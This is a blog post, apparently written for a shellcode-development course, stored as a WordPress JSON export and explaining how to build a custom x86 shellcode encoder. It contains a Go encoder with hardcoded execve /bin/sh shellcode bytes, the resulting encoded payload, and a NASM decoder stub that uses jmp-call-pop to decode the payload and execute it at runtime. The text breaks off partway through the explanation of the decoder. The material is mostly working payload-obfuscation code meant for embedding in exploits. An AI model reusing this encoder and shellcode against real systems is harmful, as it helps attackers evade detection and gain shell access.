{"id":735,"date":"2020-08-14T10:55:14","date_gmt":"2020-08-14T10:55:14","guid":{"rendered":"http:\/\/mosunit.com\/?p=735"},"modified":"2020-08-14T10:55:15","modified_gmt":"2020-08-14T10:55:15","slug":"building-an-x86-custom-encoder","status":"publish","type":"post","link":"https:\/\/mosunit.com\/?p=735","title":{"rendered":"Building an x86 custom encoder"},"content":{"rendered":"\n

In this post, we will discuss custom encoding. The premise is simple: A client side encoder will encode the shellcode. This encoded shellcode will be embedded in the exploit. The exploit will also contain the decoder. So, during execution, the decoder will decode the encoded shellcode to its original form and then pass on the control to shellcode for execution. <\/p>\n\n\n\n

For this, any encoding technique can be used. Let’s dive straight into it.<\/p>\n\n\n\n

The Encoder !<\/h2>\n\n\n\n

First up is the encoder. As mentioned, our aim to think of an encoding scheme and then encode our shellcode using it. For this, I have decided to keep the encoding scheme simple to demonstrate the proof of concept. We will encode the shellcode using following technique\/operations.<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

To encode the raw shellcode, I have written a script Go. The Go script has been hardcoded with execve<\/em> shellcode. The shellcode uses exeve syscall to spawn shell(\/bin\/sh) on local system. However, the hardcoded shellcode can be swapped with any other shellcode to get an encoded payload. For this, I have modified the original Commandlinefu<\/a> as mentioned in previous post to convert shellcode in to an output which can be directly embedded in my Go code. The updated command is also published at Commandlinefu<\/a><\/p>\n\n\n\n

Following is the Go code:<\/p>\n\n\n\n

\/*\nTool:\t\t\t\tCustom Encoder\nEncoding Scheme:\tXOR with 0xaa -> Increment by 1 -> NOT -> XOR with 0xaa\nAuthor:\t\t\t\tMohit Suyal (@mosunit)\nStudent ID:\t\t\tPA-16521\nBlog:\t\t\t\thttps:\/\/mosunit.com\n*\/\n\npackage main\n\nimport (\n\t\"fmt\"\n)\n\nfunc main() {\n\n\t\/\/ exeve_sh shellcode - spawns shell(\/bin\/sh) on localhost\n\tShellcode := []byte{0x31, 0xc0, 0x50, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3, 0x50, 0x89, 0xe2, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80}\n\n\t\/\/ key for XOR operation\n\tvar key byte = 0xaa\n\n\t\/\/ create a slice to store encoded shellcode\n\tEncodedShellcode := make([]byte, 25)\n\n\t\/\/ encode operation\n\tfor i := range Shellcode {\n\n\t\tXorFirst := Shellcode[i] ^ key\n\t\tIncrement := XorFirst + 1\n\t\tNot := ^Increment\n\t\tXorSecond := Not ^ key\n\t\tEncodedShellcode[i] = XorSecond\n\t}\n\n\t\/\/ format the encoded code - to be included in shellcode program\n\tfor i := range EncodedShellcode {\n\t\t\/\/ check the index value to match the last element of the slice\n\t\t\/\/ this if statement is true for all index values except the last\n\t\tif i != len(EncodedShellcode)-1 {\n\t\t\t\/\/ Check if the hex coversion of slice element will be less than 2 digits; append an additional \"0\", if true\n\t\t\tif EncodedShellcode[i] < 16 {\n\t\t\t\tfmt.Printf(\"0x0%x,\", EncodedShellcode[i])\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"0x%x,\", EncodedShellcode[i])\n\t\t\t}\n\t\t} else {\n\t\t\tif EncodedShellcode[i] < 16 {\n\t\t\t\tfmt.Printf(\"0x0%x\", EncodedShellcode[i])\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"0x%x\", EncodedShellcode[i])\n\t\t\t}\n\t\t}\n\t}\n}\n<\/pre>\n\n\n\n
Once the code is run, we get the encoded shellcode. <\/p>\n\n\n\n
PS E:\\<snipped>\\SLAE\\assignment-4> go run .\\custom_encoder.go\n0xc9,0x3e,0xae,0x96,0x90,0xd3,0x8f,0x96,0x96,0xd3,0xd3,0x9c,0x91,0x71,0x1f,0xae,0x71,0x1c,0xaf,0x71,0x19,0x4e,0xf7,0x3d,0x7e<\/pre>\n\n\n\n
So, we are done with the encoding part. We have our encoded shellcode ready, which is nothing but gibberish instructions. <\/p>\n\n\n\n
The Decoder !<\/h2>\n\n\n\n
Our next task is to write a decoder stub that decodes this encoded shellcode at runtime to transform it into original raw shellcode. The steps to be followed will be reverse of what we did in the encoding part.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
The assembly code is as follows:<\/p>\n\n\n\n
;Tool:                  Custom Encoder\n;ncoding Scheme:        XOR with 0xaa -> Increment by 1 -> NOT -> XOR with 0xaa\n;uthor:                 Mohit Suyal (@mosunit)\n;Student ID:            PA-16521\n;Blog:                  https:\/\/mosunit.com\n\nglobal _start\n\nsection .text\n\n_start:\n\njmp short shellcode\n\ndecoder:\n        ; retrive address of encoded shellcode using jmp-call-pop technique\n        pop esi\n\ndecode_stub:\n        ; first operation - XOR with 0xaa\n        xor byte [esi], 0xaa\n\n        ; jump when xored with dummy byte - signifies end of shellcode\n        ; pass the control for execution when complete shellcode is decoded\n        jz encoded_shellcode\n\n        ; second operatino - NOT\n        not byte [esi]\n\n        ; third operation - decrement by 1 byte\n        dec byte [esi]\n\n        ; fourth operation - XOR with 0xaa\n        xor byte [esi], 0xaa\n\n        ; counter to increament to next byte in shellcode\n        inc esi\n\n        ; decode loop\n        jmp short decode_stub\n\n\nshellcode:\n        call decoder\n\n        ; encoded shellcode\n        ; shellcode ends with dummy byte 0xaa - signifies end of shellcode\n        encoded_shellcode: db 0xc9,0x3e,0xae,0x96,0x90,0xd3,0x8f,0x96,0x96,0xd3,0xd3,0x9c,0x91,0x71,0x1f,0xae,0x71,0x1c,0xaf,0x71,0x19,0x4e,0xf7,0x3d,0x7e,0xaa\n<\/pre>\n\n\n\n
Let me explain what is going on here:<\/p>\n\n\n\n
  1. We use db(define byte)<\/em> to input our encoded shellcode that we generated in the last step. One key point to note here is that we add an additional byte (0xaa) at the end of shellcode. This is a dummy byte which signifies the end of shellcode. We will use this with XOR operation later to check if the entire shellcode has been decoded or not. Based upon the answer, we will make further decisions<\/li>
  2. We use jmp-call-pop technique<\/a> to get the address of the encoded shellcoded. In the last step, the address of encoded shellcode is popped in ESI register using POP ESI <\/em>instruction.<\/li>
  3. Next is the decoder stub whose task is to decode the encoded shellcode and once encoded, pass the execution to the raw\/original shellcode for execution.